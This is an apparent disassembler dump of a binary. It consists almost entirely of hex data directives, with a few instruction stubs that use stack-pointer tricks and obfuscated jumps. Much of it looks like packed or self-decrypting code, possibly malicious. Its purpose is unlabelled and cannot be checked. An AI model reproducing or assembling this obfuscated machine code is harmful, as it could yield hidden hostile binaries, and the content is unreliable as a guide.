		dd 8EB45B58h, 0A4C8B5C2h, 0E3A3B529h, 81173BC4h, 974C938h
		dd 2F2D5h, 7FEB6200h, 0FC27EC4Bh, 0D6677ABEh, 0BC2C04B0h
		dd 0BBF1FD2h, 6A42EE67h, 0FD1FD2BCh, 802CA549h,	15EF9CC7h
		dd 7515A85Ch, 22D50428h, 70E9AC8Bh, 0E206F9B0h,	2CAAE069h
		dd 2184A81Ch, 9F692B6h,	8619741Eh, 7B1FE2C6h, 90634202h
		dd 0B159EB16h, 57E90Dh,	50D95237h, 0D3CF571Ah, 0E307BF89h
		dd 931BA647h, 77154B1Fh, 31A503D1h, 36AF53h, 358834E0h
		dd 2AA3C771h, 4BC23D6Ah, 59A8FEBEh, 4BFB1FC7h, 813CA35Ch
		dd 3CF9E60Ah, 33087A6h,	25870000h, 4A165DCh, 0EAC084FBh
		dd 0CDDCA017h, 0AFF7BB32h, 0D58FDB52h, 0B42BD6D0h, 0D54CC3F0h
		dd 0F36A9711h, 1087782Fh, 4A22CE47h, 0DD19ADFFh, 0BC7C32A5h
		dd 4F6414EBh, 0EE499CC0h, 0A1421AC6h, 21D51FD3h, 39CB3471h
		dd 0B474ED91h, 6FE80CF3h, 0F9045EC3h, 0DE570B15h, 279881Eh
		dd 799683Eh, 25DCCA8Ah,	2BC7EB93h, 25F9435Ch, 5BC23D6Ah
		dd 0F0026DD4h, 0B79CBB51h, 0E000002h, 28EC639Eh, 470B827Dh
		dd 63279E63h, 7E42B946h, 1662D928h, 0B44D595Ch,	0D53A793Dh
		dd 0F30E9A5Eh, 10EFB87Ch, 0AB57D099h, 19ADFED3h, 7CBB2E66h
		dd 0A16F47F3h, 3151FD3h, 9E4C8FBEh, 0E65F134Ch,	0D381623Ah
		dd 1D41F51Fh, 0AF286DCAh, 0BD446626h, 0C35F832Bh, 15F8E45Eh
		dd 619E0BCBh, 0CA0327CFh, 0D6DD9D16h, 0E3831539h, 25F9240Fh
		dd 7138F875h, 0EFEF6A8Eh, 4EC60D4Ch, 169A009h, 8E170000h
		dd 0F92C0AE2h, 39E99D25h, 5A02946Dh, 6245D336h,	50570B9Dh
		dd 66D138AFh, 0E9FEAA23h, 7615F0A9h, 0BC9030C2h, 0D025F2A8h
		dd 0E69A2CE3h, 1AAC3EC1h, 8CEA439Bh, 2F6AD10Dh,	0BE097441h
		dd 2Ch,	95A24Bh, 8136DB87h, 2FE315F0h, 0C229FD9Dh, 128F25F2h
		dd 1AAC5352h, 0BD34E72h, 0E7188D4Dh, 5C6C2DC3h,	9E810974h
		dd 0E000000h, 0B9D6245h, 39B24F57h, 0A22C04B0h,	0BBF1FD3h
		dd 0A30EE692h, 0EDA11FD3h, 248337C9h, 0CCC49DBh, 2ED668A7h
		dd 0B24D5A0Ah, 0A79D8B3Bh, 0FEA91FD3h, 14238A01h, 27CB3475h
		dd 151D02AEh, 16CA15F5h, 2CC9DD9Dh, 69E0847Bh, 990001A5h
		dd 0F0067F00h, 73D0EF85h, 0CA000001h, 0E4A81FE2h, 3C73EC1h
		dd 1FE35AA7h, 3AFE758Ah, 0D21E956Ch, 70911518h,	917E35F9h
		dd 0AF52561Ah, 0CC337438h, 67138C55h, 19ADFD8Fh, 4577EA22h
		dd 9C29A061h, 0B561C9DCh, 1FD3A1DDh, 0F418BC70h, 259C6344h
		dd 9D6245AEh, 0AF50570Bh, 0C8EBAB38h, 67D02347h, 9720A922h
		dd 0D3A213EBh, 7570A61Fh, 9CABF52Bh, 0C5618529h, 15F0CE81h
		dd 88872CECh, 0F12A4EF6h, 0A204C43Dh, 6438E85Fh, 7825F2CDh
		dd 0CC59D02Fh, 4468A70Ch, 76EF1294h, 0E80CF3B6h, 0DC3756h
		dd 0EAAA0000h, 6A11C2BBh, 0CBDE8DDh, 0A2E14468h, 0DB870095h
		dd 15F904B2h, 718227E7h, 9729CD42h, 0DE92CBEFh,	57182F65h
		dd 7B907DDEh, 9611C557h, 2F65F269h, 59543D96h, 0A8594FDBh
		dd 7730E004h, 0DE56F688h, 0FADC0F17h, 0F9D17DADh, 8C6C2F16h
		dd 0EEA234D8h, 0AAB446B9h, 4B5EC31Bh, 0D67A22B4h, 849D41D0h
		dd 0A165DC23h, 48B9ED06h, 4B5E12A4h, 6B23BB4h, 6C2F162Eh
		dd 57E90DC1h, 6BFD02A3h, 7B0DF2B7h, 0CB627CF7h,	0AA00C03Dh
		dd 9C48C557h, 6C2F16C4h, 0DBFFA357h, 4A37E60h, 4DF982FBh
		dd 6C2F1675h, 0F9787D1Bh, 2D661496h
		dd 89D1CDF7h, 0BC60E79Ch, 0D4942198h, 0F49C2ED1h, 788720D0h
		dd 99663FFFh, 13C4E375h, 37000000h, 51832901h, 7CA27B1Ah
		dd 45F1B871h, 638703h, 674540A7h, 5354089Ah, 42661AACh
		dd 3A792DBFh, 178F43D5h, 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh
		dd 0CBDA8E20h, 5086A234h, 0BD55E089h, 4, 835DE801h, 48704E8h
		dd 3685C24h, 89000039h,	4A68241Ch, 89000038h, 0BA522404h
		dd 11C64EF5h, 598BEA81h, 0D2F75032h, 6E82F281h,	0E2D15320h
		dd 233CBD55h, 0EA291C1Eh, 4EF2815Dh, 89B85F05h,	0EC835AD3h
		dd 24248904h, 4240483h,	0DF895758h, 8408F57h, 24048B5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		db 55h
		dd 97C3BE12h, 0A9AD9C75h, 3F44B17Eh, 25A613B8h,	0FFC50306h
		dd 377F29E0h, 0EADBCF77h, 0E6430545h, 55A18929h, 4B665277h
		dd 0C1BD5276h, 7628D2Dh, 0F0428279h, 0B984FB13h, 65175D5Ch
		dd 248FBF77h, 0A9F9EF28h, 0BCA90F56h, 1223254Bh, 570D8556h
		dd 0A6F05863h, 0D9F2B32Ah, 0AD95E717h, 8A8D8D4Ah, 6A0625A7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 701BC355h, 0F5BF6640h, 5D8D89ABh,	0C7061F0Bh
		dd 1F20C585h, 680006h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0ED9D3177h, 0C7061F2Bh
		dd 1F137D85h, 6, 5DB5FF00h, 6A061F10h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D04EC352h
		dd 0F18B66B0h, 2D5995FFh, 6AF5061Fh, 4595FF00h,	8B061F1Dh
		dd 6F1BEBC0h, 10CA744Bh, 41D4BBE2h, 9FDD58AFh, 1110EFBAh
		dd 0A8132D00h, 5402CA3Eh, 12E8D6BCh, 7F000000h,	7F53A386h
		dd 1B4CEA2Ch, 47AEF8ECh, 0E024D817h, 0B50B602Ch, 61F0681h
		dd 0BD8B5E61h, 61F05BDh, 6CA1C681h, 8D8B0000h, 61F0AD5h
		dd 1AF468h, 0FD858900h,	58061F2Eh, 456FBB66h, 8D09168Bh
		dd 61F0B8Dh, 5D0EA81h, 852976AFh, 61F06A5h, 0CF66EA81h
		dd 95890854h, 61F24B9h,	78D3F281h, 0BD895EE1h, 61F07DDh
		dd 9D891689h, 61F32ADh,	15BCEE81h, 8D310F3Ah, 61F3009h
		dd 15B8C681h, 830F0F3Ah, 6, 2459D33h, 0E883061Fh, 20850F01h
		dd 0F000000h, 38Dh, 0F9BF0F00h,	2FE9h, 0ADF43300h, 32ABA2F1h
		dd 1753FB38h, 57CBF1F4h, 0F4830A4h, 686h, 959D8B00h, 0E9061F0Fh
		dd 0FFFFFF74h, 850C151Ah, 84B30759h, 0F38A16F8h, 7E8h
		dd 85422400h, 0D8033FFFh, 5ECBEF80h, 68D98166h,	10C6817Ah
		dd 0F000060h, 387h, 75D78000h, 68h, 7D958900h, 5A061F0Dh
		dd 3234FFF8h, 0F4BDACB8h, 0E68A5F7Dh, 3131F781h, 9D8B7669h
		dd 61F1F4Dh, 2408EF81h,	890F5491h, 9, 38C0Fh, 0B70F0000h
		dd 0DEC781C8h, 8B534B8Fh, 1F2E7585h, 0EC8A5706h, 8116048Fh
		dd 3607EDE1h, 83EA8A62h, 0BD8902EAh, 61F2079h, 858B4A4Ah
		dd 61F1465h, 0A088FA81h, 850FFFFFh, 0FFFFFF9Dh,	8E9h, 50524700h
		dd 4DA4D2A5h, 13E87Ch, 60A50000h, 0A237BD94h, 9C39C401h
		dd 0F25B83F1h, 550DAEDEh, 0D8B70F4Eh, 0DEB70F5Eh, 6893C681h
		dd 8D8B0000h, 61F0F95h,	0B8h, 9E900h, 7950000h,	6BA4707Fh
		dd 8B47E507h, 0DD80063Ch, 0B5F7819Ah, 0E85D2702h, 7, 4C0B3ECBh
		dd 0B3ECF8CAh, 0F7815B92h, 75E7625Ah, 32E5D281h, 0C7810E59h
		dd 40EA5A2h, 63C89FCh, 2ACD9D89h, 0FBB061Fh, 811E3CBDh
		dd 96E0DAE8h, 0D38B6613h, 0E0D6C081h, 0EA811396h, 4D69E4D1h
		dd 9828F881h, 850FFFFFh, 19h, 6830Fh, 0B5890000h, 61F0F7Dh
		dd 18E9h, 0CAE83700h, 4EDFE28Ch, 5BE181D9h, 0E96CF6A3h
		dd 0FFFFFF7Fh, 30216A68h, 83C08B0Fh, 1F06C1BDh,	9750006h
		dd 1F51BD83h, 7400061Fh, 8B535019h, 421B8C0h, 85890000h
		dd 61F0F65h, 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h
		dd 50177400h, 421B853h,	85890000h, 61F0F65h, 0AC939D8Dh
		dd 0D3FF0621h, 0C08B585Bh, 5CD9D8Bh, 85C6061Fh,	61F2025h
		dd 0B8526856h, 0B5FF9CA8h, 61F3271h, 7993858Dh,	0D0FF0622h
		dd 68046Ah, 0FF000010h,	1F11CDB5h, 0FF006A06h, 0FC085D0h
		dd 0D85h, 0B800h, 8D8D0000h, 61F7110h, 0C88BE1FFh, 4003C38Bh
		dd 0F8053Ch, 508B0000h,	83D3030Ch, 1F1945BDh, 840F0006h
		dd 0Eh,	19459D8Bh, 858B061Fh, 61F1C3Dh,	52510389h, 421B858Dh
		dd 0D0FF061Fh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 61F2025h
		dd 6D396856h, 0B5FFD41Fh, 61F3271h, 7993858Dh, 0D0FF0622h
		dd 800068h, 52006A00h, 0C08BD0FFh, 6C1BD83h, 7500061Fh
		dd 51BD8309h, 61F1Fh, 53501974h, 21B8C08Bh, 89000004h
		dd 1F139585h, 0B9D8D06h, 0FF0621B0h, 83585BD3h,	1F1F51BDh
		dd 17740006h, 21B85350h, 89000004h, 1F139585h, 0AC9D8D06h
		dd 0FF0621ACh, 8B585BD3h, 459D8DC0h, 8B061F19h,	0FC00B03h
		dd 784h, 8B038B00h, 1889045Bh, 4B41B8h,	6E800h,	806A0000h
		dd 0C07A279Fh, 0A2E88160h, 6109E005h, 8172B05Eh, 667BC6h
		dd 0C88B6600h, 197068h,	850F6000h, 6, 5F39D281h, 13E81046h
		dd 47000000h, 7D564C37h, 42653B58h, 2E42EFFCh, 96952D5Ah
		dd 6E88C73h, 7B000000h,	3425DC14h, 61585A85h, 0F52525Ah
		dd 8Eh,	8B595900h, 2FC0811Eh, 813BDF84h, 0C78BC9C3h, 8E947h
		dd 3A650000h, 0D6B23BAFh, 0F381055Ah, 35387C88h, 0FE8h
		dd 0FE015C00h, 95F33FAFh, 956881BCh, 547D3A23h,	0BB56C881h
		dd 81586E68h, 0F9C819C3h, 0A8EBB823h, 1E890B29h, 83C18B66h
		dd 0F4A04EEh, 0FFFFAA85h, 7E9FFh, 0F26E0000h, 0A9A9FEF3h
		dd 16EB12h, 4 dup(0)
		dd 1000000h, 3C001h, 6A062500h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 7395C353h, 8BD02735h
		dd 1F13558Dh, 0E9605006h, 0Eh, 62CCF9BAh, 308A1550h, 1219D1BEh
		dd 8D0FFCFAh, 6, 8A0Fh,	89610000h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 705097C3h
		dd 59E5396Fh, 85898427h, 61F1AB9h, 571351BAh, 6A006A2Eh
		dd 8DFD8A00h, 25AD4385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 1D8F40CBh, 0D7EA8172h
		dd 50075E3Eh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 641DC355h, 0DFCAAD6Fh
		dd 830F006Ah, 6, 0B202EA81h, 6A5A83h, 16195FFh,	14E8061Fh
		dd 40000000h, 0B78F1C3h, 1AB60636h, 4AD4EE4Eh, 4AB20722h
		dd 57A1CD50h, 8C0Fh, 5B5F0000h,	502E9h,	0CD853100h, 0E8061F1Bh
		dd 0
		dd 48ED815Dh, 660625ADh, 166ED981h, 682BDE80h, 0B741A9D0h
		dd 2253B966h, 0D0240481h, 6A48BE65h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 690C353h
		dd 73D3B8F8h, 9BE78166h, 4595FFFCh, 89061F1Dh, 1F152595h
		dd 13B58D06h, 6A0625ACh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0EF14C357h,	60D799CAh
		dd 0C768F8D6h, 67655206h, 659D2B6Dh, 0C7061F2Ch, 6E6F0446h
		dd 8B666C63h, 846C7D0h,	737361h, 0C8C0Fh, 7E90000h, 0D0000000h
		dd 16EC3974h, 6A11F6h, 0C518D89h, 858D061Fh, 625AC13h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FAC35545h
		dd 0B5B58F94h, 3880Fh, 8B660000h, 8B6650C8h, 240489CBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 6AC35141h
		dd 0CD4CE4FAh, 95895665h, 61F1015h, 3995FF5Ah, 89061F0Ah
		dd 1F0035B5h, 0FC00B06h, 4084h,	14E900h, 86C30000h, 0EB36E62Fh
		dd 8023BBEFh, 9E2DE5Eh,	0D23F4847h, 78E9D4A6h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 33B0C356h, 1F07898Dh, 21E26806h, 0E860B62Eh
		dd 10h,	0FAAAABFAh, 7086BA24h, 6F832585h, 9B722F92h, 12E9h
		dd 9BFE5500h, 93B41A74h, 796C5C57h, 7437FF4Dh, 59FE1A86h
		dd 61C68B66h, 4A240481h, 6649D1DFh, 0FFA7DBBFh,	1F1D4595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0C6FA3C99h, 1D12BA58h, 0AC13B58Dh, 6A0625h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 80A467C3h, 92C7B509h, 0A3D9D8Bh, 6C7061Fh, 36343831h
		dd 0B3CE70BAh, 446C75Eh, 31342D37h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 52C35545h, 0BA2B9020h, 9954E63h
		dd 1F08D59Dh, 846C706h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7BC35747h
		dd 0CAF2AFBBh, 6A41AEh,	0D85BD89h, 858D061Fh, 625AC13h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0C6C35040h
		dd 850FE51Ch, 4, 43C9BA66h, 89D68B50h, 6A2404h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 1AF1F5C3h, 3306D78Fh, 1F1AEDBDh, 3995FF06h, 8B061F0Ah
		dd 1F2A25BDh, 0FC00B06h, 0B84h,	1DDE900h, 95290000h, 61F1B55h
		dd 93F26268h, 28F0FFCh,	8A000000h, 240481E8h, 36C0ECAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 41C35040h
		dd 0FF5F6684h, 1F1D4595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0BCA0EC83h
		dd 0E1EB6062h, 13B58D1Ah, 0F0625ACh, 168Ah, 0DE86000h
		dd 27000000h, 56EC796Dh, 7F286C5Dh, 0F3ED26EBh,	0C761F85Fh
		dd 6C694606h, 0FB06065h, 446C761h, 636E6F6Dh, 31F5BD8Bh
		dd 46C7061Fh, 73616C08h, 0C7FA8A73h, 0C46h, 958B0000h
		dd 61F1D9Dh, 0BD8B006Ah, 61F151Dh, 11E9h, 0B2D49600h, 42772EE9h
		dd 0AA3D23E6h, 0DCF3D89Ch, 858DD2DAh, 625AC13h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 56C35242h, 0CEFFCE8Ch
		dd 8923B868h, 1F202DBDh, 16DE8006h, 0C4B86050h,	573AE591h
		dd 615E87B7h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0BF24C356h,	60862A2Ch
		dd 0BF6601AFh, 95FF3A02h, 61F0A39h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0D0C35040h,	0CAAE0522h, 0C00B4D12h
		dd 30840Fh, 0BD330000h,	61F162Dh, 6AE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0B4DD571Ah, 15C1A0Ch, 80E9AFFEh, 6AFFFFFBh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 3B94C351h, 884DF861h, 188B0FBDh, 0E8000000h,	10h, 5F668441h
		dd 17213B54h, 3BD05F02h, 8DD284BDh, 8D595F50h, 1F7110B5h
		dd 0C1816606h, 0B89517h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0AEB0C355h
		dd 0B035824Fh, 0FFDE8A65h, 0E1BD89E6h, 8B061F02h, 0FDED55C1h
		dd 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD235812h, 0FD237670h
		dd 0FD2360B1h, 0FD23E817h, 0FD232D01h, 0FD23CFFFh, 0FD23BEC4h
		dd 0FD2306A5h, 0FD235A90h, 0FD2377DFh, 0FD236094h, 0FD23EA09h
		dd 0FD232E6Ah, 0FD23CC4Bh, 0FD23BD14h, 0FD2304D0h, 0FD235824h
		dd 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch
		dd 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h
		dd 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A44B9176h, 0A44B7975h
		dd 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h, 701ABC75h
		dd 0D8CC07F0h, 6DFFA673h, 707CB2C7h, 0D8CCA4F0h, 0ADFF6C73h
		dd 707CD7C7h, 0D8CCD4F0h, 71FF3573h, 707C7BC7h,	0D8CC22F0h
		dd 0A9FF1E73h, 707CEEC7h, 0D8CF29F0h, 0A5FF7B73h, 707C5CC7h
		dd 0D8CED6F0h, 0A1FFD773h, 707C0AC7h, 0D8CEEBF0h, 9DFF4273h
		dd 707CC0C7h, 0D8CE60F0h, 99FFF073h, 707C99C7h,	0D8CEB3F0h
		dd 8DFFA673h, 707CB2C7h, 0D8CE72F0h, 95FF6C73h,	707CD7C7h
		dd 0D8CEA1F0h, 91FF3573h, 707C7BC7h, 0D8CEC2F0h, 8DFF1E73h
		dd 707CEEC7h, 0D8CFC2F0h, 7DFF7B73h, 707C5CC7h,	0D8CFFAF0h
		dd 79FFD773h, 707C0AC7h, 0D8CFFEF0h, 75FF4273h,	707CC0C7h
		dd 0D8CF40F0h, 89FFF073h, 707C99C7h, 0D8CFB7F0h, 85FFA673h
		dd 707CB2C7h, 0D8CC4FF0h, 81FF6C73h, 767CD7C7h,	0E26CE0F0h
		dd 34FF3573h, 767C7BC7h, 0E272E6F0h, 30FF1E73h,	9C7CEEC7h
		dd 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0FB5F0FA8h, 0F53FD525h
		dd 4FB2ADFDh, 34229150h, 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h
		dd 7C277975h, 0D8C94298h, 0B2FFA073h, 7D7C0AC7h, 0D8C8D8C8h
		dd 0B409CF73h, 4B75E4C5h, 89BAF9B5h, 30EF8635h,	0BD7C99C7h
		dd 452B96FEh, 0FD7A2F7Ah, 4FB7028Ah, 48F7CD50h,	0FB5F5725h
		dd 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h, 4FB7BA8Ah
		dd 48F79150h, 0FB5F7925h, 50FCD1F8h, 1F23228Ah,	0B2F787BCh
		dd 0A07C99C7h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h, 5779C1CDh
		dd 4FB3708Ah, 3ED1F450h, 0FD78079Dh, 9BC2DA75h,	9B5954CDh
		dd 34EFD0DEh, 9B7CB2C7h, 959208DEh, 0B7AE577h, 8872F336h
		dd 34EF866Eh, 4D7C99C7h, 0AD7954C5h, 4FB3BA8Ah,	9B209150h
		dd 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h,	0FD7ABE4Eh
		dd 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h,	3ED183FEh
		dd 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh, 16D049C5h
		dd 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h, 0B207975h
		dd 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h,	4DBA07F5h
		dd 6885B5FFh, 0FB5F40BCh, 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h
		dd 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h,	0FD7AF22Dh
		dd 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh, 451C9775h
		dd 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h, 0FD7BB69Dh
		dd 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h, 0BE8CE575h
		dd 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh, 1584487Dh
		dd 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 30EF0D75h, 707C5CC7h
		dd 0D8C828C0h, 518A5D73h, 2D02C7Fh, 0D8C85EE0h,	0E5920873h
		dd 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah, 0A5CA5E75h
		dd 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh,	9B4BFDCDh
		dd 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h, 0C923C22h
		dd 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h, 592438Ah
		dd 4D7A5E75h, 5779252Dh, 0BBFF69B6h, 7D7CEEC7h,	0D8C8A3C8h
		dd 0EC0FF373h, 4FC2FCF8h, 152ABA50h, 0FD7A5C61h, 0FD781B9Dh
		dd 571A2775h, 287759Dh,	0C30D8Ah, 9CCA0D8Ah, 0BBF787DFh
		dd 7D7C99C7h, 0D8C818C8h, 0F10F2F73h, 4FC212F8h, 152ACD50h
		dd 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0FB5F0EB8h, 4A6FC3F8h
		dd 0F9F02950h, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh, 3AF1A875h
		dd 15F9BB5Eh, 3E783571h, 4FB3CB8Ah, 4ACE2950h, 0FF0E9651h
		dd 0F2CA74C1h, 0C9924E13h, 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h
		dd 0F179BEB5h, 577825B5h, 34EF68B6h, 7D7CEEC7h,	39FAEA91h
		dd 9B7542F5h, 15D12EDEh, 285415Ah, 0D6BDD52Fh, 0F992ACB7h
		dd 45B995FCh, 0FD7ACB73h, 4FB7708Ah, 60F7F450h,	0FB5FCBD9h
		dd 3E39A0F8h, 0FD7A4ECDh, 30EFD075h, 7E7CB2C7h,	35F1CEB5h
		dd 34EF1A89h, 577CD7C7h, 15B98E97h, 28543BEh, 0D97B1DFFh
		dd 778E5A72h, 0FC6C7F76h, 1608CB75h, 8831DB6h, 11F1A789h
		dd 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h, 0FB5F9850h, 7D86EAFCh
		dd 0D8C803CFh, 7975E573h, 0FD7AF2ECh, 0FD7A73CDh, 30E84375h
		dd 0BD7C7BC7h, 4FABADFCh, 35F19150h, 4A8379F8h,	6F85E350h
		dd 0FB5F40BCh, 1F3C7FFDh, 0FD6D0480h, 7F795E75h, 0FB5F9DA4h
		dd 10E01A35h, 7E7CEEC2h, 0FEF3E1B6h, 0FD644B22h, 77797975h
		dd 0FB5F0EA4h, 4AA1ECF8h
		dd 59892950h, 0FD722F2Bh, 6F85CB75h, 0FB5F57B8h, 897E0AF6h
		dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h
		dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h
		dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah,	80F18489h
		dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh
		dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h
		dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 0F190162Fh, 707CEECDh
		dd 0D8C830CFh, 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh
		dd 28E7A226h, 7D7CB2C7h, 887BD349h, 1683BE71h, 3E82A977h
		dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0FB5F9730h, 4FAF25F8h
		dd 80F1CD50h, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h
		dd 0FB5FECA0h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 4FAF58F8h
		dd 0C2FBF450h, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h
		dd 9C82969Eh, 40F7ABB6h, 0FB5F57A0h, 0FD7AF3CDh, 0FD72C075h
		dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0FB5F2597h,	0CA8BD08Ah
		dd 11519D8Dh, 0B8061Fh,	89000013h, 1F16FD85h, 0E806h, 5580000h
		dd 0Dh,	0E90389h, 13h, 4BFh dup(0)
		dd 8D000000h, 25CCA38Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0FBE2D070h, 0A20D7DFDh
		dd 8D0F48EFh, 3, 89F6B70Fh, 1F0B5D8Dh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0C7C97F56h, 1F20C585h, 747406h, 61BD8B00h, 0C7061F0Ah
		dd 1F137D85h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 33B47A03h, 105DB5FFh
		dd 0EC80061Fh, 5995FF3Ch, 6A061F2Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 484DC357h
		dd 0E6FA5C05h, 0F996802Bh, 95FF006Ah, 61F1D45h,	1BEBC08Bh
		dd 0A19DF547h, 0F49B7EB3h, 50146F55h, 9B735357h, 0A5EF35ABh
		dd 0B8441CD7h, 0E8B8FB7Fh, 9, 2EE7EDD2h, 368CBE25h, 0BD295201h
		dd 61F14FDh, 0F080595Ah, 11C181C8h, 8000005Ah, 0BBEADAh
		dd 0F5000000h, 0B0B34FFh, 1F2ED595h, 80605E06h,	952374E2h
		dd 61F23E5h, 85EE8161h,	2909EF6Bh, 1F13BD85h, 0E2EE8106h
		dd 0B838374Ah, 4B12863Dh, 19EF681h, 816662FFh, 89AED9F2h
		dd 81661934h, 0F88EDD8h, 0EB81D1B7h, 2A01C7CCh,	0E1BD8Bh
		dd 0C381061Fh, 2A01C7C8h, 6DBD2Bh, 0FB81061Fh, 0FFFFA67Ch
		dd 0FF9A850Fh, 6652FFFFh, 17DFF781h, 2AE958h, 4C70000h
		dd 24h,	0E800h,	815D0000h, 25CD6AEDh, 24448B06h, 0E5858904h
		dd 0B8061F1Eh, 0
		dd 4DB08D8Dh, 0E1FF061Fh, 6754B8h, 0F5CAFE00h, 4AA80809h
		dd 308A4C86h, 0ABA8080Eh, 8875EAD5h, 70A8080Eh,	0BA8A4C87h
		dd 2D57AE5Dh, 0F88A4C87h, 0ABA8080Fh, 4375EAD5h, 13A8080Ch
		dd 0CD8A4C84h, 9DA8080Ch, 478A4C84h, 0ABA8080Dh, 2575EAD5h
		dd 9A10D42Fh, 0C003130Fh, 528D9C2Dh, 8AAC90A7h,	0D1215787h
		dd 43AFD8B9h, 9BD5D42Fh, 0C003130Fh, 528D9C35h,	8A5F90A7h
		dd 0D1215787h, 43AFD8B5h, 8484D42Fh, 0C003130Fh, 528D9C01h
		dd 950B90A7h, 0D1215787h, 43AFD881h, 846DD42Fh,	0C003130Fh
		dd 528D9C0Dh, 948490A7h, 0D1215787h, 43AFD89Dh,	85E7D42Fh
